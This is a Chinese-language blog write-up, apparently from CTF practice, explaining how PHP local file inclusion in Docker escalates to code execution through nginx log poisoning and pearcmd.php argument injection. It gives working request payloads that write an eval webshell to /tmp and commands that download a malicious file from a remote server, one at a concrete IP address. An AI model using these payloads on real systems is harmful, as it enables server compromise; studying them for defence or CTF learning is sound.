我发现自己的越来越内耗了。不知道为什么最近都没有写博客的动力了。但是还是要写博客来记录一下这个漏洞。

这个漏洞是我在无聊写题时遇到的漏洞。文章学习与p牛的博客Docker PHP裸文件本地包含综述

日志文件包含(不行但我还是要写一下)

首先我们都知道服务器一般都会有日志文件,我们传入的内容都会被日志文件给记录
nginx的默认日志位置如下

1
2
error_log /var/log/nginx/error.log;
access_log /var/log/nginx/access.log;

web的access_log日志下会存储访问的ua头等
那只要在ua头写马在包含就可以得到shell

pearcmd.php

利用条件
php.ini中register_argc_argv=On开启
安装pecl/pear

pear这个工具在php7.3前会自动安装但是到了php7.4后就不会自动安装。
但是在docker中这个工具是默认安装的,这个工具其实就是个命令行工具,可以使用其来对文件进行操作。
pearcmd.php

1
2
3
4
5
6
7
8
9
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}

我们来查看该源码会发现其$argv是由Console_Getopt::readPHPArgv();来决定的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

我们会发现其$argv是由$_SERVER['argv']来决定的。而当开启了register_argc_argv时php会将get传参的?后的所以传入$_SERVER[‘argv’]根据空格分隔成argv[0],argv[1]…..

$argv 就是我们使用pear时的参数。
既然可以操控参数,那么我们就可以使用pear这个工具了

我们可以看到paer有很多的功能,p神的文章里介绍了config-create这个方法

config-create

经过尝试发现这个功能会将第一个目录的目录名写入到第二目录里即

1
pear config-create '/etc/passwd' /tmp/LSE

的结果如下

我们会发现其并不是将/etc/passwd的内容写入到/tmp/LSE而是直接将这个文件路径写入到/tmp/LSE
那么我们用如下命令就可以成功将马写入到/tmp/xxx.php
1
pear config-create '/<?php phpinfo();?>' /tmp/LSE


我们需要在最前面写一个/来表示这个为一个路径

那么我们将上面的命令行变为web传参即为如下
若为POST传参导致的文件包含
1
2
3
4
POST /?+config-create+/<?=eval($_POST[2]);phpinfo();?>+/tmp/LSE.php HTTP/1.1


1=/usr/local/lib/php/pearcmd.php

如果为GET传参导致的
1
GET /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php


install

install这个功能可以远程下载。默认下载到的位置为/tmp/pear/download


若为POST可以直接使用


若为GET我们需要引入一个参数—installroot
这个参数可以控制我们下载文件的位置

可以发现其下载的实际位置是当前位置+/xxxx/tmp/pear/download
在web中当前位置一般为/var/www/html
xxxx为指定参数
其paylaod为

1
?+install+--installroot+&file=/usr/share/php/pearcmd.php&+http://[vps]/xxx.xxx

而最终下载的位置为/var/www/html/&file=/usr/share/php/pearcmd.php/tmp/pear/download/a.php

download

我们可以发现pear download下载为当前目录

由于该方法无法指定位置所以需要我们在vps创建一个目录为&file=/usr/share/php/pearcmd.php即恶意文件叫pearcmd.php那么我们就可以在包含的同时下载这个恶意文件了
payload

1
?+download+http://111.230.38.159:8000/&file=/usr/share/php/pearcmd.php

同样的install也可以使用这个方法来下载到默认位置

如果pearcmd.php被搬了怎么办

可以尝试使用peclcmd.php
peclcmd.php和pearcmd.php位于同一目录。
因为这个文件包含了pearcmd.php